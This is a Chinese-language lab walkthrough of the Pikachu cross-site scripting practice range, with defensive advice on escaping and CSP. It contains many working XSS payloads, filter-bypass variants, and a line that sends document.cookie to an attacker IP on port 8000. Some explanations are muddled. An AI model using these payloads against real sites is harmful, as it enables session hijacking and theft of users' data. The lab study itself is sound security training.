Pikachu靶场——Cross-Site Scripting

发布于:2025-04-17 ⋅ 阅读:(28) ⋅ 点赞:(0)

使用ubantu-linux虚拟机通过docker镜像本地搭建

一,反射型xss(get)

1,观察靶场环境,功能是提交你最喜欢的NBA球星

2,可以通过burp suite抓包分析一下

通过GET请求提交输入的姓名,这是及其危险的

3,尝试使用简单的payload判断有无XSS漏洞

发现对提交内容的字符串长度做出了限制,限制措施应该发生在前端

4,修改限制的maxlength之后再进行注入,payload:<script>alert('XSS')</script>

成功发生弹窗,可以再窃取用户的cookie,payload:<script>alert(document.write)</script>

发现无法窃取到cookie

二,反射型xss(post)

1,网站的功能是通过提交表单进行登录

burpsuite抓一个包查看一下请求

2,查看网页页面源代码,是否对用户提交的字符串进行了限制

没有出现maxlength,说明没有长度的限制,接下来就要判断XSS存在的注入点

3,username:<script>alert('XSS')</script>,password:1进行登录

4,结果出现error,那就反过来进行尝试username:1,password:<script>alert('XSS')</script>

还是发生了报错,查看提示

5,使用admin/123456进行登录,在里面的界面就能实现XSS攻击,payload:<script>alert('XSS')</script>

6,再通过XSS攻击语句窃取cookie,payload:<script>alert(document.cookie)</script>

三,存储型xss

1,观察页面提供一个留言板功能,这意味着用户输入的语句会被存储进数据库当中,如果开放人员没有对这个留言板的输入做严格的限制,一般是存在存储型XSS漏洞的

2,直接使用最简单的弹窗语句测试有无XSS漏洞,payload:<script>alert('XSS')</script>

3,果然能够弹窗,这验证了漏洞存在,直接打入payload去窃取用户cookie:<script>alert(document.cookie)</script>

因为是存储型的XSS路段,这个实现攻击的javascript语句是实实在在存在于服务器数据库当中的,只要有用户访问这个页面时,这个语句就会像定时炸弹一样触发。可以对payload进行改造,使得攻击者能够把登录用户的cookie发送到攻击者主机上

四,DOM型xss

什么是 HTML DOM?

HTML DOM 是 HTML 的标准对象模型和编程接口。它定义了:

  • 作为对象的 HTML 元素
  • 所有 HTML 元素的属性
  • 访问所有 HTML 元素的方法
  • 所有 HTML 元素的事件

换言之:HTML DOM 是关于如何获取、更改、添加或删除 HTML 元素的标准。

1,dom型XSS一般伴随着javascript编写在页面源代码的一些交互界面,比如"click me"

查看页面源代码也能够验证这一点

2,那么留言DOM型XSS漏洞的方法就是利用javascript库中丰富的功能标签,payload:

'><img src=x οnerrοr='alert('XSS')

Self DOM XSS(自我DOM型XSS)是一种特殊类型的DOM型XSS攻击。在这种攻击中,恶意代码并不来自外部攻击者,而是来自用户自己或网站的同一页面。攻击者利用客户端的JavaScript来注入并执行恶意代码,通常是在页面动态操作DOM时发生的。

Self DOM XSS的概念

在Self DOM XSS攻击中,恶意脚本代码不是通过URL参数、表单提交或其他外部源注入的,而是通过对当前页面的JavaScript操作、用户输入或浏览器自带的行为来触发。最常见的情况是,当用户将恶意代码作为输入内容(如通过复制黏贴)插入到页面时,JavaScript代码未经适当过滤直接在页面上执行,从而导致攻击。

Self DOM XSS的示例

假设页面使用innerHTML或类似方法将用户输入直接插入到DOM中。如果攻击者通过复制并粘贴恶意脚本到输入框,代码将被插入并执行:

<input type="text" id="user-input">
<button οnclick="document.getElementById('user-input').innerHTML = document.getElementById('user-input').value">Submit</button>

如果用户(攻击者)粘贴以下恶意代码:

<script>alert('Self DOM XSS')</script>

此时,攻击者输入的脚本被插入到页面中并执行。尽管代码是由同一页面的用户生成的,但其效果与常规的DOM型XSS攻击没有区别。

为什么要结合复制黏贴劫持?

复制黏贴劫持(Clipboard Hijacking)是一种攻击手段,攻击者通过操控用户的剪贴板内容来进行XSS攻击。在Self DOM XSS场景中,攻击者可以通过诱使用户复制并粘贴恶意代码来实现攻击。例如,攻击者可以在钓鱼网站或邮件中嵌入一个包含恶意脚本的文本。当用户不小心将这些内容复制到剪贴板,并粘贴到目标网站的输入框或文本框时,恶意脚本就会被执行,造成XSS攻击。

这种攻击方式的关键在于:

  1. 用户复制粘贴恶意内容:攻击者通过社交工程手段诱使用户复制包含恶意JavaScript的文本或HTML内容。
  2. 页面直接处理不安全的输入:页面将用户输入的内容直接插入到DOM中(如通过innerHTML或document.write),未对输入进行适当的过滤和转义。

这种结合复制黏贴劫持的Self DOM XSS攻击,往往难以被防范,因为攻击者并没有直接操控用户的输入,而是依赖用户的无意行为(如复制粘贴)。此外,如果页面没有进行适当的安全检查或输入验证,攻击者就能轻松发起攻击。

防护措施

为了防止Self DOM XSS和复制黏贴劫持攻击,可以采取以下措施:

  1. 避免使用innerHTML:使用更安全的方式来处理DOM,如textContent,它不会解析HTML标签。
  2. 对所有用户输入进行过滤和转义:确保所有的用户输入都经过严格的转义,防止恶意代码注入。
  3. CSP(内容安全策略):通过实施CSP,限制脚本的来源,防止不可信的脚本执行。
  4. 避免执行未经验证的脚本:在处理用户输入时,不要直接执行或插入脚本,尤其是在表单、输入框等地方。

五,DOM型xss-x

1,功能和上一模块一样,只不过这次的输入语句直接拼接到了url栏里面

2,尝试输入payload,<script>alert('XSS')</script>

发现没有反应,大概是被注释掉了

3,真正的攻击语句,payload:'><img src=x οnerrοr='alert('XSS')

基于URL的DOM型XSS是一种DOM型XSS攻击的变种,其中恶意的JavaScript代码是通过URL的查询参数或片段标识符(URL hash)注入的。攻击者利用浏览器解析并动态操作页面的JavaScript,使得注入的恶意脚本能够在客户端执行。

攻击原理

在这种类型的攻击中,恶意代码通常存在于URL中的查询参数(?后面的部分)或哈希(#后面的部分)。这些数据会被浏览器的JavaScript代码读取并插入到页面的DOM中。如果页面的JavaScript代码没有正确处理用户输入,恶意脚本可能会在用户的浏览器上执行。

典型的攻击流程:

  1. 攻击者将恶意JavaScript代码嵌入到URL的查询字符串或哈希部分。
  2. 目标页面的JavaScript从URL中获取数据并将其插入DOM中。
  3. 如果数据没有经过足够的过滤或转义,恶意脚本就会被执行。

攻击示例

假设一个网页通过window.location.hash或window.location.search获取用户输入的查询参数并动态更新页面内容。如果没有足够的验证,攻击者可以注入恶意JavaScript代码。

1. 通过URL查询参数注入

如果页面的JavaScript代码通过document.getElementById('content').innerHTML = window.location.search;来将URL查

询字符串插入到DOM中,那么攻击者可以利用以下URL进行攻击:

http://example.com/page?name=<script>alert('XSS')</script>

如果页面没有对name参数进行任何过滤,<script>alert('XSS')</script>会被插入到DOM并执行。

2. 通过URL哈希(#)注入

攻击者还可以通过URL的哈希部分进行注入:

http://example.com/page#<script>alert('XSS')</script>

如果页面的JavaScript代码依赖于哈希部分(如通过window.location.hash获取数据),并直接将其插入DOM,则恶意脚本会被执行。

3. 通过URL路径部分注入

虽然路径部分不像查询参数和哈希那样直接被插入到DOM中,但如果页面没有适当地处理URL路径,也可能遭受XSS攻击。例如:

http://example.com/page/<script>alert('XSS')</script>

如果页面的JavaScript代码将路径的一部分作为内容插入到DOM中并没有正确转义,也可能引发XSS漏洞。

六,xss盲打

1,观察网站提供的功能推测应该是存储型XSS漏洞

2,存在着两个提交表达的地方,这就需要进行测试判断注入点。查看一下提示

3,找到登录页面

4,admin/123456登录进去就是用户反馈的意见列表

5,那么就要判断注入点在哪里

在评论输入框填写payload:<script>prompt(document.cookie)</script>

在输入名字的地方填写payload:<script>console.log(document.cookie)</script>

一进去就发生了弹窗,说明弹框的这个说明输入评论的地方是注入点。开发者工具的控制台(Console)中有显示cookie说明输入名字的地方也是注入点

XSS盲打(Blind XSS)是一种特殊类型的XSS攻击,其中攻击者并不直接观察到恶意代码执行的结果,而是通过某些手段间接地触发和利用XSS漏洞。盲打攻击通常发生在目标应用程序没有即时反馈给攻击者的情况下,或者恶

意代码的执行并不会直接展示在攻击者的界面上。攻击者通过推测应用行为和结果,逐步完善攻击。

盲打XSS的工作原理

盲打XSS攻击的关键特点是攻击者并不直接看到攻击的结果,而是通过间接方式(例如发送恶意负载给受害者或

系统)来推测XSS漏洞是否存在。常见的盲打XSS攻击包括:

  1. 通过POST请求或后台接口注入XSS:攻击者可能通过表单提交、API请求、后台管理面板等接口注入恶意代码。虽然攻击者本身看不到即时的反馈,但这些输入可能会反映到其他地方(如管理员面板、日志文件、用户反馈等)。
  2. 利用目标系统的跨站点脚本执行:在某些情况下,攻击者会将恶意脚本注入到某个系统(如管理员界面、邮件通知等),该系统可以从被攻击者那里触发恶意脚本的执行。由于攻击者没有直接的可视化反馈,因此需要猜测结果。

盲打XSS的技巧

1. 通过后台管理界面或日志文件

许多应用程序在后台管理系统或日志文件中记录用户输入。攻击者通过注入恶意JavaScript代码,可能使管理员查看日志时触发XSS攻击。攻击者可以利用以下方法:

  • 向系统的表单、评论、消息等输入框中提交含有恶意JavaScript代码的数据。
  • 在没有立即反馈的情况下,推测该输入是否被记录。
  • 如果有管理员查看日志或管理后台,恶意代码可能被执行。

例如,如果管理员查看评论或提交的记录时,注入的脚本可能会执行:

<script>alert('XSS')</script>

2. 通过攻击目标用户的邮箱

如果应用程序中存在XSS漏洞,攻击者可以将恶意脚本嵌入到系统发送的电子邮件中。攻击者不能立即看到该邮件的效果,但一旦用户打开邮件并点击邮件中的链接或加载的动态内容,恶意脚本就会被执行。这种方式常常用

于绕过防护措施并触发XSS。

3. 利用第三方服务进行盲打

在某些情况下,攻击者可以通过利用第三方服务(如社交平台、外部API等)进行盲打XSS。攻击者将恶意脚本发送到外部平台,依赖平台后续操作(如日志查看、管理员互动等)来间接触发脚本。

4. 基于时间的盲打(Time-based Blind XSS)

在某些情况下,攻击者并不能看到脚本执行的直接结果,但可以利用时间差异来推测攻击是否成功。这种方式可以通过创建包含alert的恶意代码,并依赖时间间隔来推测。例如,通过提交含有恶意脚本的表单,等待系统响应时间的变化:

<script>
    setTimeout(function() {
        alert('XSS');
    }, 5000); // 等待5秒后触发
</script>

通过观察时间延迟,攻击者可以推测是否存在XSS漏洞。

5. 利用DOM操作进行盲打

攻击者可以通过注入动态修改DOM的脚本来实现盲打XSS。例如,在一个输入框或搜索框中注入恶意脚本,通过后续的DOM变化(如搜索结果、用户输入等)来执行攻击代码。攻击者不能立即看到结果,但可以通过推测目标页面的行为来间接判断XSS是否成功。

6. 利用WebSockets或Ajax请求

攻击者可以注入恶意脚本,通过WebSocket或AJAX请求发送数据到目标服务器。如果应用程序未对数据进行适当验证或清理,攻击者的恶意代码就会被服务器处理并反射到其他用户的浏览器中。这种方式不会立即显示攻击结果,但可以通过其他手段(如观察日志、推测行为)来确认是否成功。

七,xss之过滤

1,观察网站,这里提供了一个submit功能

2,输入<script>alert(‘XSS')</script>,这里是对输入的恶意语句进行了过滤

3,尝试判断过滤机制:<script>>alert('XSS')</script>>

推测把>前面的<script全部过滤了,那就不要用<script>标签了,用<img>标签试试,输入payload:

<img src="#"οnerrοr=alert(document.cookie)>

4,查看源代码分析一下过滤机制,然后构造payload

代码解析:

  1. 过滤目标:试图匹配任何形式的<script>标签变体
  2. 正则逻辑:通过(.*)通配符:
  • 允许任意字符出现在字母之间(包括空字符)
  • 匹配类似<sCRipt><s\tcript>等变形写法
  1. 过滤方式:将匹配内容替换为空字符串(彻底删除)

要绕过这段代码中的XSS过滤机制,可以利用正则表达式过滤的不足,使用其他HTML标签或事件处理属性来执行JavaScript。以下是具体的步骤和Payload:

Payload构造思路:

  1. 避免使用<script>标签: 正则表达式主要针对<script>标签进行过滤,但未处理其他标签。
  2. 利用事件处理属性: 使用如onerroronload等事件属性触发JavaScript执行。
  3. 闭合单引号并插入新标签: 输入中包含单引号闭合原属性,插入新标签以执行脚本。

有效Payload示例:

  • 使用<img>标签的onerror事件:
    <img src=x οnerrοr=alert(1)>
    当图片加载失败时,
    onerror事件触发执行JavaScript。
  • 使用<svg>标签的onload事件:
    <svg οnlοad=alert(1)>
    SVG标签加载时触发
    onload事件执行脚本。
  • 闭合单引号并插入标签:
    '><img src=x οnerrοr=alert(1)>
    闭合原单引号后插入新标签,确保HTML结构正确解析。

绕过分析:

  • 正则表达式preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message'])旨在过滤<script>标签的变种,但未考虑大小写和其他标签。
  • 使用非<script>标签(如<img><svg>)不受正则过滤影响,能够直接注入到HTML中执行。

验证Payload:

提交以下URL参数触发XSS:

http://example.com/xss_01.php?message=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E&submit=submit

或直接在输入框中输入Payload:

<img src=x οnerrοr=alert(1)>

页面将解析该标签并执行JavaScript,弹出警告框,证明XSS漏洞被成功利用。

1. 大写字母标签变形(利用正则大小写敏感缺陷)

<SCrIpt>alert(1)</ScRipt>

绕过原理:正则未使用i修饰符,无法匹配大小写变形

2. 伪协议高级利用

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">

八,xss之htmlspecialchars

PHP中htmlspecialchars()函数

核心功能

将特殊字符转换为HTML实体,防止XSS攻击

$safe_output = htmlspecialchars(
    $input,
    ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5,
    'UTF-8'
);

参数详解

参数

推荐值

安全作用

flags

ENT_QUOTES

转义单双引号

ENT_SUBSTITUTE

替换无效编码字符

ENT_HTML5

遵循HTML5编码标准

encoding

UTF-8

必须与页面编码一致

转义对应表

原始字符

转义结果

防御场景

<

&lt;

阻断HTML标签创建

>

&gt;

防止标签闭合

"

&quot;

防御属性值逃逸(双引号)

'

&#x27;

防御属性值逃逸(单引号)

&

&amp;

防止实体编码绕过

高危使用场景

1. 未正确设置引号转义

// 危险写法:不转义单引号
echo '<div title='.htmlspecialchars($input).'>';

攻击Payload

' οnclick='alert(1)

2. JavaScript上下文误用

<script>
// 错误:在JS变量中使用HTML转义
var data = "<?= htmlspecialchars($_GET['data']) ?>";
</script>

Payload

";alert(1);//

防御方案

// 正确:使用JSON编码
var data = <?= json_encode($data, JSON_HEX_TAG|JSON_HEX_APOS) ?>;

3. URL属性未校验协议

<a href="<?= htmlspecialchars($url) ?>">链接</a>

Payload

javascript:alert(document.cookie)

防御方案

// 增加协议白名单校验
if(!preg_match('/^(https?:)/i', $url)){
    $url = '#';
}

1,输入一个 <script>alert(1)</script> 进行尝试,果然攻击不能成功

2,分析源代码,寻找绕过方法

防御机制分析

$message = htmlspecialchars($_GET['message']);
$html2 .= "<a href='{$message}'>{$message}</a>";

防御缺陷

  1. 未启用ENT_QUOTES:默认只转义双引号("),不处理单引号('),但href属性使用单引号包裹
  2. 未过滤协议类型:允许javascript:伪协议直接输出到href属性
  3. 未验证URL格式:缺少协议白名单校验

绕过Payload集合

1. 属性逃逸攻击

Payload

' οnclick='alert(1)//

生成结果

<a href='' οnclick='alert(1)//'>' οnclick='alert(1)//</a>

触发方式:点击链接时执行

2. <button οnclick="someFunction()#' οnclick='alert(1)'">Click me</button>

浏览器会解析这个 <button> 元素,并且由于 #' 打破了现有的 onclick 属性,它会将 οnclick='alert(1)' 视为一个独立的 JavaScript 事件处理程序。这样,当用户点击按钮时,alert(1) 会被执行,导致一个弹出框显示。

onclick属性值被双引号包裹,内容为 someFunction()#' οnclick='alert(1)'

  1. 攻击者意图
  • 试图通过注入单引号 ' 闭合原有的双引号 ",插入新的 onclick 事件。
  1. HTML解析规则
  • 属性值由包裹它的引号类型决定闭合。双引号包裹的属性中,单引号视为普通字符,不会闭合属性。
  1. 实际解析结果
  • 浏览器会将整个 someFunction()#' οnclick='alert(1)' 视为 onclick 属性的值,不会执行 alert(1)
  • 生成的JavaScript代码为:
    someFunction()#' οnclick='alert(1)
    这会导致语法错误,
    # 后的内容被当作注释,οnclick='alert(1)' 成为无效代码。
  1. 验证测试
  • 创建测试页面并点击按钮,发现未触发 alert(1),控制台报语法错误。
  1. 漏洞有效性
  • 攻击失败:因引号类型不匹配,注入的单引号无法闭合双引号包裹的属性。
  • 错误触发:错误语法导致原功能失效,但未执行恶意代码。

九,xss之href输出

href 是 HTML 中用于指定超链接的属性,通常用于 <a> 标签中。它用于指向一个目标 URL(Uniform Resource Locator),可以是网页、图片、下载文件等。当用户点击链接时,浏览器会跳转到 href 中指定的目标地址。

示例 1: 基本的超链接

<a href="https://www.example.com">Click here to visit Example.com</a>

在这个例子中,当用户点击 Click here to visit Example.com 文本时,浏览器将跳转到 Example Domain

示例 2: 指向页面内的锚点

<a href="#section1">Go to Section 1</a>
...
<div id="section1">This is Section 1</div>

这里,href="#section1" 会将页面跳转到 ID 为 section1 的部分(即 <div id="section1">)。

示例 3: 使用 JavaScript 进行跳转

<a href="javascript:void(0);" οnclick="alert('You clicked the link!')">Click me</a>

这种形式的 href 值通常用于防止页面跳转或执行特定的 JavaScript 代码。javascript:void(0); 使得点击链接时不会跳转页面,而是执行 onclick 事件中的 JavaScript。

示例 4: 用于邮件链接

<a href="mailto:someone@example.com">Send Email</a>

这个 href 值使用 mailto: 协议,点击后会弹出邮件客户端,自动填充收件人邮箱。

示例 5: 用于文件下载

<a href="files/sample.pdf" download>Download PDF</a>

使用 download 属性,浏览器将尝试下载 sample.pdf 文件,而不是打开它。

输出到页面

如果你希望通过 PHP 动态输出一个 href 链接,可以用 echo 或 print:

<?php
$link = "
Example Domain";
echo "<a href='" . $link . "'>Visit Example.com</a>";
?>

这段代码会在浏览器中输出一个指向 https://www.example.com 的链接。

 

1,查看页面源代码,分析防御方式并且构造payload

防御机制分析

$message = htmlspecialchars($_GET['message'], ENT_QUOTES); // 转义单双引号
$html = "<a href='{$message}'>链接</a>"; // 输出到href属性

防御特性

  1. ENT_QUOTES参数:转义单引号('&#039;)和双引号("&quot;
  2. 字符编码:默认UTF-8编码,防止多字节绕过

防御缺陷

  1. 未校验协议类型:允许javascript:伪协议直接输出
  2. 无协议白名单:未限制http/https/ftp等安全协议
  3. 未过滤HTML5新协议:如data:协议可绕过

 

绕过Payload集合

1. 基础JavaScript伪协议

javascript:alert(document.domain)

生成结果

<a href='javascript:alert(document.domain)'>链接</a>

触发方式:点击链接直接执行

 

2.  分号截断攻击

javascript:location.href='http://192.168.23.182:8000?cookie='+document.cookie;//

数据窃取:跳转到攻击者站点携带用户Cookie

十,xss之js输出

代码核心部分分析

漏洞代码段

$jsvar = $_GET['message'];
// ...
<script>
    $ms = '<?php echo $jsvar; ?>';
</script>

防御方式

  • 无有效防御:直接输出未转义的用户输入到 JavaScript 字符串中
  • 错误尝试:注释显示开发者曾考虑使用 htmlspecialchars(ENT_QUOTES),但担心破坏前端功能未实施

漏洞利用分析

攻击面特征:

  1. 输出位置:用户输入直接嵌入 JavaScript 字符串(单引号包裹)
  2. 可注入点:可闭合字符串执行任意 JS 代码
  3. 未过滤字符:单引号、反斜杠、分号等关键符号

 

有效 Payload 集合

1. 基础闭合攻击

';alert(1);//

生成代码

$ms = '';alert(1);//';

触发效果:直接弹出警告框

 

2.  DOM 劫持攻击

';document.body.innerHTML='<h1>Hacked</h1>';//

页面破坏:完全替换页面内容

 

漏洞验证步骤

  1. 输入基础 Payload
    ';alert(document.domain);//
  2. 观察浏览器行为
  • 检查是否弹出包含当前域名的警告框
  • 查看控制台是否报语法错误
  1. 网络监控
  • 使用开发者工具查看是否发送了非法请求
  • 监控 evil.com 服务器是否收到数据

 

 

 

 

 


网站公告

今日签到

点亮在社区的每一天
去签到